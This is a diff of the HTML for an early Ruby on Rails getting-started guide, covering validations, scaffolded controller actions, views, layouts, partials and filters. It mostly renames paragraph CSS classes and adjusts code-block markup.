-<div class="para"><p>Rails includes methods to help you validate the data that you send to models. Open the <tt>app/models/post.rb</tt> file and edit it:</p></div>
+<div class="paragraph"><p>Rails includes methods to help you validate the data that you send to models. Open the <tt>app/models/post.rb</tt> file and edit it:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1113,19 +810,17 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Post <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
validates_presence_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>title
validates_length_of <span style="color: #990000">:</span>title<span style="color: #990000">,</span> <span style="color: #990000">:</span>minimum <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>These changes will ensure that all posts have a name and a title, and that the title is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>These changes will ensure that all posts have a name and a title, and that the title is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects.</p></div>
<h3 id="_using_the_console">6.6. Using the Console</h3>
-<div class="para"><p>To see your validations in action, you can use the console. The console is a command-line tool that lets you execute Ruby code in the context of your application:</p></div>
+<div class="paragraph"><p>To see your validations in action, you can use the console. The console is a command-line tool that lets you execute Ruby code in the context of your application:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ script/console
-</tt></pre></div></div>
-<div class="para"><p>After the console loads, you can use it to work with your application's models:</p></div>
+<pre><tt>$ script/console</tt></pre></div></div>
+<div class="paragraph"><p>After the console loads, you can use it to work with your application&#8217;s models:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1140,9 +835,8 @@ created_at<span style="color: #990000">:</span> nil<span style="color: #990000">
<span style="color: #990000">=&gt;</span> <span style="font-style: italic"><span style="color: #9A1900">#&lt;ActiveRecord::Errors:0x23bcf0c @base=#&lt;Post id: nil, name: nil,</span></span>
title<span style="color: #990000">:</span> nil<span style="color: #990000">,</span> content<span style="color: #990000">:</span> <span style="color: #FF0000">"A new post"</span><span style="color: #990000">,</span> created_at<span style="color: #990000">:</span> nil<span style="color: #990000">,</span> updated_at<span style="color: #990000">:</span> nil<span style="color: #990000">&gt;,</span>
@<span style="color: #009900">errors</span><span style="color: #990000">=</span>{<span style="color: #FF0000">"name"</span><span style="color: #990000">=&gt;[</span><span style="color: #FF0000">"can't be blank"</span><span style="color: #990000">],</span> <span style="color: #FF0000">"title"</span><span style="color: #990000">=&gt;[</span><span style="color: #FF0000">"can't be blank"</span><span style="color: #990000">,</span>
-<span style="color: #FF0000">"is too short (minimum is 5 characters)"</span><span style="color: #990000">]</span>}<span style="color: #990000">&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>This code shows creating a new <tt>Post</tt> instance, attempting to save it and getting <tt>false</tt> for a return value (indicating that the save failed), and inspecting the <tt>errors</tt> of the post.</p></div>
+<span style="color: #FF0000">"is too short (minimum is 5 characters)"</span><span style="color: #990000">]</span>}<span style="color: #990000">&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>This code shows creating a new <tt>Post</tt> instance, attempting to save it and getting <tt>false</tt> for a return value (indicating that the save failed), and inspecting the <tt>errors</tt> of the post.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -1152,7 +846,7 @@ title<span style="color: #990000">:</span> nil<span style="color: #990000">,</sp
</tr></table>
</div>
<h3 id="_listing_all_posts">6.7. Listing All Posts</h3>
-<div class="para"><p>The easiest place to start looking at functionality is with the code that lists all posts. Open the file <tt>app/controllers/posts_controller.rb </tt> and look at the <tt>index</tt> action:</p></div>
+<div class="paragraph"><p>The easiest place to start looking at functionality is with the code that lists all posts. Open the file <tt>app/controllers/posts_controller.rb + and look at the +index</tt> action:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1165,9 +859,8 @@ http://www.gnu.org/software/src-highlite -->
format<span style="color: #990000">.</span>html <span style="font-style: italic"><span style="color: #9A1900"># index.html.erb</span></span>
format<span style="color: #990000">.</span>xml <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@posts</span> <span style="color: #FF0000">}</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This code sets the <tt>@posts</tt> instance variable to an array of all posts in the database. <tt>Post.find(:all)</tt> or <tt>Post.all</tt> calls the <tt>Post</tt> model to return all of the posts that are currently in the database, with no limiting conditions.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This code sets the <tt>@posts</tt> instance variable to an array of all posts in the database. <tt>Post.find(:all)</tt> or <tt>Post.all</tt> calls the <tt>Post</tt> model to return all of the posts that are currently in the database, with no limiting conditions.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -1176,7 +869,7 @@ http://www.gnu.org/software/src-highlite -->
<td class="content">For more information on finding records with Active Record, see <a href="../finders.html">Active Record Finders</a>.</td>
</tr></table>
</div>
-<div class="para"><p>The <tt>respond_to</tt> block handles both HTML and XML calls to this action. If you browse to <tt>http://localhost:3000/posts.xml</tt>, you'll see all of the posts in XML format. The HTML format looks for a view in <tt>app/views/posts/</tt> with a name that corresponds to the action name. Rails makes all of the instance variables from the action available to the view. Here's <tt>app/view/posts/index.html.erb</tt>:</p></div>
+<div class="paragraph"><p>The <tt>respond_to</tt> block handles both HTML and XML calls to this action. If you browse to <tt>http://localhost:3000/posts.xml</tt>, you&#8217;ll see all of the posts in XML format. The HTML format looks for a view in <tt>app/views/posts/</tt> with a name that corresponds to the action name. Rails makes all of the instance variables from the action available to the view. Here&#8217;s <tt>app/view/posts/index.html.erb</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1205,10 +898,9 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #FF0000">&lt;br /&gt;</span>
-<span style="color: #FF0000">&lt;%= link_to 'New post', new_post_path %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>This view iterates over the contents of the <tt>@posts</tt> array to display content and links. A few things to note in the view:</p></div>
-<div class="ilist"><ul>
+<span style="color: #FF0000">&lt;%= link_to 'New post', new_post_path %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>This view iterates over the contents of the <tt>@posts</tt> array to display content and links. A few things to note in the view:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>h</tt> is a Rails helper method to sanitize displayed data, preventing cross-site scripting attacks
@@ -1234,7 +926,7 @@ http://www.gnu.org/software/src-highlite -->
</tr></table>
</div>
<h3 id="_customizing_the_layout">6.8. Customizing the Layout</h3>
-<div class="para"><p>The view is only part of the story of how HTML is displayed in your web browser. Rails also has the concept of <tt>layouts</tt>, which are containers for views. When Rails renders a view to the browser, it does so by putting the view's HTML into a layout's HTML. The <tt>script/generate scaffold</tt> command automatically created a default layout, <tt>app/views/layouts/posts.html.erb</tt>, for the posts. Open this layout in your editor and modify the <tt>body</tt> tag:</p></div>
+<div class="paragraph"><p>The view is only part of the story of how HTML is displayed in your web browser. Rails also has the concept of <tt>layouts</tt>, which are containers for views. When Rails renders a view to the browser, it does so by putting the view&#8217;s HTML into a layout&#8217;s HTML. The <tt>script/generate scaffold</tt> command automatically created a default layout, <tt>app/views/layouts/posts.html.erb</tt>, for the posts. Open this layout in your editor and modify the <tt>body</tt> tag:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1256,11 +948,10 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #FF0000">&lt;%= yield %&gt;</span>
<span style="color: #FF0000">&lt;/body&gt;</span>
-<span style="color: #FF0000">&lt;/html&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>Now when you refresh the <tt>/posts</tt> page, you'll see a gray background to the page. This same gray background will be used throughout all the views for posts.</p></div>
+<span style="color: #FF0000">&lt;/html&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>Now when you refresh the <tt>/posts</tt> page, you&#8217;ll see a gray background to the page. This same gray background will be used throughout all the views for posts.</p></div>
<h3 id="_creating_new_posts">6.9. Creating New Posts</h3>
-<div class="para"><p>Creating a new post involves two actions. The first is the <tt>new</tt> action, which instantiates an empty <tt>Post</tt> object:</p></div>
+<div class="paragraph"><p>Creating a new post involves two actions. The first is the <tt>new</tt> action, which instantiates an empty <tt>Post</tt> object:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1273,9 +964,8 @@ http://www.gnu.org/software/src-highlite -->
format<span style="color: #990000">.</span>html <span style="font-style: italic"><span style="color: #9A1900"># new.html.erb</span></span>
format<span style="color: #990000">.</span>xml <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span> <span style="color: #FF0000">}</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>new.html.erb</tt> view displays this empty Post to the user:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>new.html.erb</tt> view displays this empty Post to the user:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1303,9 +993,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #FF0000">&lt;/p&gt;</span>
<span style="color: #FF0000">&lt;% end %&gt;</span>
-<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>form_for</tt> block is used to create an HTML form. Within this block, you have access to methods to build various controls on the form. For example, <tt>f.text_field :name</tt> tells Rails to create a text input on the form, and to hook it up to the <tt>name</tt> attribute of the instance being displayed. You can only use these methods with attributes of the model that the form is based on (in this case <tt>name</tt>, <tt>title</tt>, and <tt>content</tt>). Rails uses <tt>form_for</tt> in preference to having your write raw HTML because the code is more succinct, and because it explicitly ties the form to a particular model instance.</p></div>
+<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>form_for</tt> block is used to create an HTML form. Within this block, you have access to methods to build various controls on the form. For example, <tt>f.text_field :name</tt> tells Rails to create a text input on the form, and to hook it up to the <tt>name</tt> attribute of the instance being displayed. You can only use these methods with attributes of the model that the form is based on (in this case <tt>name</tt>, <tt>title</tt>, and <tt>content</tt>). Rails uses <tt>form_for</tt> in preference to having your write raw HTML because the code is more succinct, and because it explicitly ties the form to a particular model instance.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -1314,7 +1003,7 @@ http://www.gnu.org/software/src-highlite -->
<td class="content">If you need to create an HTML form that displays arbitrary fields, not tied to a model, you should use the <tt>form_tag</tt> method, which provides shortcuts for building forms that are not necessarily tied to a model instance.</td>
</tr></table>
</div>
-<div class="para"><p>When the user clicks the <tt>Create</tt> button on this form, the browser will send information back to the <tt>create</tt> method of the controller (Rails knows to call the <tt>create</tt> method because the form is sent with an HTTP POST request; that's one of the conventions that I mentioned earlier):</p></div>
+<div class="paragraph"><p>When the user clicks the <tt>Create</tt> button on this form, the browser will send information back to the <tt>create</tt> method of the controller (Rails knows to call the <tt>create</tt> method because the form is sent with an HTTP POST request; that&#8217;s one of the conventions that I mentioned earlier):</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1333,12 +1022,11 @@ http://www.gnu.org/software/src-highlite -->
format<span style="color: #990000">.</span>xml <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>errors<span style="color: #990000">,</span> <span style="color: #990000">:</span>status <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>unprocessable_entity <span style="color: #FF0000">}</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>create</tt> action instantiates a new Post object from the data supplied by the user on the form, which Rails makes available in the <tt>params</tt> hash. After saving the new post, it uses <tt>flash[:notice]</tt> to create an informational message for the user, and redirects to the show action for the post. If there's any problem, the <tt>create</tt> action just shows the <tt>new</tt> view a second time, with any error messages.</p></div>
-<div class="para"><p>Rails provides the <tt>flash</tt> hash (usually just called the Flash) so that messages can be carried over to another action, providing the user with useful information on the status of their request. In the case of <tt>create</tt>, the user never actually sees any page rendered during the Post creation process, because it immediately redirects to the new Post as soon Rails saves the record. The Flash carries over a message to the next action, so that when the user is redirected back to the <tt>show</tt> action, they are presented with a message saying "Post was successfully created."</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>create</tt> action instantiates a new Post object from the data supplied by the user on the form, which Rails makes available in the <tt>params</tt> hash. After saving the new post, it uses <tt>flash[:notice]</tt> to create an informational message for the user, and redirects to the show action for the post. If there&#8217;s any problem, the <tt>create</tt> action just shows the <tt>new</tt> view a second time, with any error messages.</p></div>
+<div class="paragraph"><p>Rails provides the <tt>flash</tt> hash (usually just called the Flash) so that messages can be carried over to another action, providing the user with useful information on the status of their request. In the case of <tt>create</tt>, the user never actually sees any page rendered during the Post creation process, because it immediately redirects to the new Post as soon Rails saves the record. The Flash carries over a message to the next action, so that when the user is redirected back to the <tt>show</tt> action, they are presented with a message saying "Post was successfully created."</p></div>
<h3 id="_showing_an_individual_post">6.10. Showing an Individual Post</h3>
-<div class="para"><p>When you click the <tt>show</tt> link for a post on the index page, it will bring you to a URL like <tt>http://localhost:3000/posts/1</tt>. Rails interprets this as a call to the <tt>show</tt> action for the resource, and passes in <tt>1</tt> as the <tt>:id</tt> parameter. Here's the <tt>show</tt> action:</p></div>
+<div class="paragraph"><p>When you click the <tt>show</tt> link for a post on the index page, it will bring you to a URL like <tt>http://localhost:3000/posts/1</tt>. Rails interprets this as a call to the <tt>show</tt> action for the resource, and passes in <tt>1</tt> as the <tt>:id</tt> parameter. Here&#8217;s the <tt>show</tt> action:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1351,9 +1039,8 @@ http://www.gnu.org/software/src-highlite -->
format<span style="color: #990000">.</span>html <span style="font-style: italic"><span style="color: #9A1900"># show.html.erb</span></span>
format<span style="color: #990000">.</span>xml <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span> <span style="color: #FF0000">}</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>show</tt> action uses <tt>Post.find</tt> to search for a single record in the database by its id value. After finding the record, Rails displays it by using <tt>show.html.erb</tt>:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>show</tt> action uses <tt>Post.find</tt> to search for a single record in the database by its id value. After finding the record, Rails displays it by using <tt>show.html.erb</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1376,10 +1063,9 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #FF0000">&lt;%= link_to 'Edit', edit_post_path(@post) %&gt;</span> <span style="color: #990000">|</span>
-<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span>
-</tt></pre></div></div>
+<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span></tt></pre></div></div>
<h3 id="_editing_posts">6.11. Editing Posts</h3>
-<div class="para"><p>Like creating a new post, editing a post is a two-part process. The first step is a request to <tt>edit_post_path(@post)</tt> with a particular post. This calls the <tt>edit</tt> action in the controller:</p></div>
+<div class="paragraph"><p>Like creating a new post, editing a post is a two-part process. The first step is a request to <tt>edit_post_path(@post)</tt> with a particular post. This calls the <tt>edit</tt> action in the controller:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1387,9 +1073,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
<span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>After finding the requested post, Rails uses the <tt>edit.html.erb</tt> view to display it:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>After finding the requested post, Rails uses the <tt>edit.html.erb</tt> view to display it:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1418,9 +1103,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #FF0000">&lt;% end %&gt;</span>
<span style="color: #FF0000">&lt;%= link_to 'Show', @post %&gt;</span> <span style="color: #990000">|</span>
-<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>Submitting the form created by this view will invoke the <tt>update</tt> action within the controller:</p></div>
+<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>Submitting the form created by this view will invoke the <tt>update</tt> action within the controller:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1439,19 +1123,18 @@ http://www.gnu.org/software/src-highlite -->
format<span style="color: #990000">.</span>xml <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=&gt;</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>errors<span style="color: #990000">,</span> <span style="color: #990000">:</span>status <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>unprocessable_entity <span style="color: #FF0000">}</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>In the <tt>update</tt> action, Rails first uses the <tt>:id</tt> parameter passed back from the edit view to locate the database record that's being edited. The <tt>update_attributes</tt> call then takes the rest of the parameters from the request and applies them to this record. If all goes well, the user is redirected to the post's <tt>show</tt> view. If there are any problems, it's back to <tt>edit</tt> to correct them.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>In the <tt>update</tt> action, Rails first uses the <tt>:id</tt> parameter passed back from the edit view to locate the database record that&#8217;s being edited. The <tt>update_attributes</tt> call then takes the rest of the parameters from the request and applies them to this record. If all goes well, the user is redirected to the post&#8217;s <tt>show</tt> view. If there are any problems, it&#8217;s back to <tt>edit</tt> to correct them.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
<img src="./images/icons/note.png" alt="Note" />
</td>
-<td class="content">Sharp-eyed readers will have noticed that the <tt>form_for</tt> declaration is identical for the <tt>new</tt> and <tt>edit</tt> views. Rails generates different code for the two forms because it's smart enough to notice that in the one case it's being passed a new record that has never been saved, and in the other case an existing record that has already been saved to the database. In a production Rails application, you would ordinarily eliminate this duplication by moving identical code to a <em>partial template</em>, which you could then include in both parent templates. But the scaffold generator tries not to make too many assumptions, and generates code that’s easy to modify if you want different forms for <tt>create</tt> and <tt>edit</tt>.</td>
+<td class="content">Sharp-eyed readers will have noticed that the <tt>form_for</tt> declaration is identical for the <tt>new</tt> and <tt>edit</tt> views. Rails generates different code for the two forms because it&#8217;s smart enough to notice that in the one case it&#8217;s being passed a new record that has never been saved, and in the other case an existing record that has already been saved to the database. In a production Rails application, you would ordinarily eliminate this duplication by moving identical code to a <em>partial template</em>, which you could then include in both parent templates. But the scaffold generator tries not to make too many assumptions, and generates code that’s easy to modify if you want different forms for <tt>create</tt> and <tt>edit</tt>.</td>
</tr></table>
</div>
<h3 id="_destroying_a_post">6.12. Destroying a Post</h3>
-<div class="para"><p>Finally, clicking one of the <tt>destroy</tt> links sends the associated id to the <tt>destroy</tt> action:</p></div>
+<div class="paragraph"><p>Finally, clicking one of the <tt>destroy</tt> links sends the associated id to the <tt>destroy</tt> action:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1465,16 +1148,15 @@ http://www.gnu.org/software/src-highlite -->
format<span style="color: #990000">.</span>html <span style="color: #FF0000">{</span> redirect_to<span style="color: #990000">(</span>posts_url<span style="color: #990000">)</span> <span style="color: #FF0000">}</span>
format<span style="color: #990000">.</span>xml <span style="color: #FF0000">{</span> head <span style="color: #990000">:</span>ok <span style="color: #FF0000">}</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>destroy</tt> method of an Active Record model instance removes the corresponding record from the database. After that's done, there isn't any record to display, so Rails redirects the user's browser to the index view for the model.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>destroy</tt> method of an Active Record model instance removes the corresponding record from the database. After that&#8217;s done, there isn&#8217;t any record to display, so Rails redirects the user&#8217;s browser to the index view for the model.</p></div>
</div>
<h2 id="_drying_up_the_code">7. DRYing up the Code</h2>
<div class="sectionbody">
-<div class="para"><p>At this point, it’s worth looking at some of the tools that Rails provides to eliminate duplication in your code. In particular, you can use <em>partials</em> to clean up duplication in views and <em>filters</em> to help with duplication in controllers.</p></div>
+<div class="paragraph"><p>At this point, it’s worth looking at some of the tools that Rails provides to eliminate duplication in your code. In particular, you can use <em>partials</em> to clean up duplication in views and <em>filters</em> to help with duplication in controllers.</p></div>
<h3 id="_using_partials_to_eliminate_view_duplication">7.1. Using Partials to Eliminate View Duplication</h3>
-<div class="para"><p>As you saw earlier, the scaffold-generated views for the <tt>new</tt> and <tt>edit</tt> actions are largely identical. You can pull the shared code out into a <tt>partial</tt> template. This requires editing the new and edit views, and adding a new template. The new <tt>_form.html.erb</tt> template should be saved in the same <tt>app/views/posts</tt> folder as the files from which it is being extracted:</p></div>
-<div class="para"><p><tt>new.html.erb</tt>:</p></div>
+<div class="paragraph"><p>As you saw earlier, the scaffold-generated views for the <tt>new</tt> and <tt>edit</tt> actions are largely identical. You can pull the shared code out into a <tt>partial</tt> template. This requires editing the new and edit views, and adding a new template. The new <tt>_form.html.erb</tt> template should be saved in the same <tt>app/views/posts</tt> folder as the files from which it is being extracted:</p></div>
+<div class="paragraph"><p><tt>new.html.erb</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1484,9 +1166,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #FF0000">&lt;%= render :partial =&gt;</span> <span style="color: #FF0000">"form"</span> <span style="color: #990000">%&gt;</span>
-<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p><tt>edit.html.erb</tt>:</p></div>
+<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p><tt>edit.html.erb</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1497,9 +1178,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #FF0000">&lt;%= render :partial =&gt;</span> <span style="color: #FF0000">"form"</span> <span style="color: #990000">%&gt;</span>
<span style="color: #FF0000">&lt;%= link_to 'Show', @post %&gt;</span> <span style="color: #990000">|</span>
-<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p><tt>_form.html.erb</tt>:</p></div>
+<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p><tt>_form.html.erb</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1523,12 +1203,11 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #FF0000">&lt;p&gt;</span>
<span style="color: #FF0000">&lt;%= f.submit "Save" %&gt;</span>
<span style="color: #FF0000">&lt;/p&gt;</span>
-<span style="color: #FF0000">&lt;% end %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>Now, when Rails renders the <tt>new</tt> or <tt>edit</tt> view, it will insert the <tt>_form</tt> partial at the indicated point. Note the naming convention for partials: if you refer to a partial named <tt>form</tt> inside of a view, the corresponding file is <tt>_form.html.erb</tt>, with a leading underscore.</p></div>
-<div class="para"><p>For more information on partials, refer to the <a href="../layouts_and_rendering.html">Layouts and Rending in Rails</a> guide.</p></div>
+<span style="color: #FF0000">&lt;% end %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>Now, when Rails renders the <tt>new</tt> or <tt>edit</tt> view, it will insert the <tt>_form</tt> partial at the indicated point. Note the naming convention for partials: if you refer to a partial named <tt>form</tt> inside of a view, the corresponding file is <tt>_form.html.erb</tt>, with a leading underscore.</p></div>
+<div class="paragraph"><p>For more information on partials, refer to the <a href="../layouts_and_rendering.html">Layouts and Rending in Rails</a> guide.</p></div>
<h3 id="_using_filters_to_eliminate_controller_duplication">7.2. Using Filters to Eliminate Controller Duplication</h3>
-<div class="para"><p>At this point, if you look at the controller for posts, you’ll see some duplication:</p></div>
+<div class="paragraph"><p>At this point, if you look at the controller for posts, you’ll see some duplication:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1554,9 +1233,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
<span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Four instances of the exact same line of code doesn’t seem very DRY. Rails provides <em>filters</em> as a way to address this sort of repeated code. In this case, you can DRY things up by using a <tt>before_filter</tt>:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Four instances of the exact same line of code doesn’t seem very DRY. Rails provides <em>filters</em> as a way to address this sort of repeated code. In this case, you can DRY things up by using a <tt>before_filter</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1584,25 +1262,23 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> find_post
<span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Rails runs <em>before filters</em> before any action in the controller. You can use the <tt>:only</tt> clause to limit a before filter to only certain actions, or an <tt>:except</tt> clause to specifically skip a before filter for certain actions. Rails also allows you to define <em>after filters</em> that run after processing an action, as well as <em>around filters</em> that surround the processing of actions. Filters can also be defined in external classes to make it easy to share them between controllers.</p></div>
-<div class="para"><p>For more information on filters, see the <a href="actioncontroller_basics.html">Action Controller Basics</a> guide.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Rails runs <em>before filters</em> before any action in the controller. You can use the <tt>:only</tt> clause to limit a before filter to only certain actions, or an <tt>:except</tt> clause to specifically skip a before filter for certain actions. Rails also allows you to define <em>after filters</em> that run after processing an action, as well as <em>around filters</em> that surround the processing of actions. Filters can also be defined in external classes to make it easy to share them between controllers.</p></div>
+<div class="paragraph"><p>For more information on filters, see the <a href="actioncontroller_basics.html">Action Controller Basics</a> guide.</p></div>
</div>
<h2 id="_adding_a_second_model">8. Adding a Second Model</h2>
<div class="sectionbody">
-<div class="para"><p>Now that you've seen what's in a model built with scaffolding, it's time to add a second model to the application. The second model will handle comments on blog posts.</p></div>
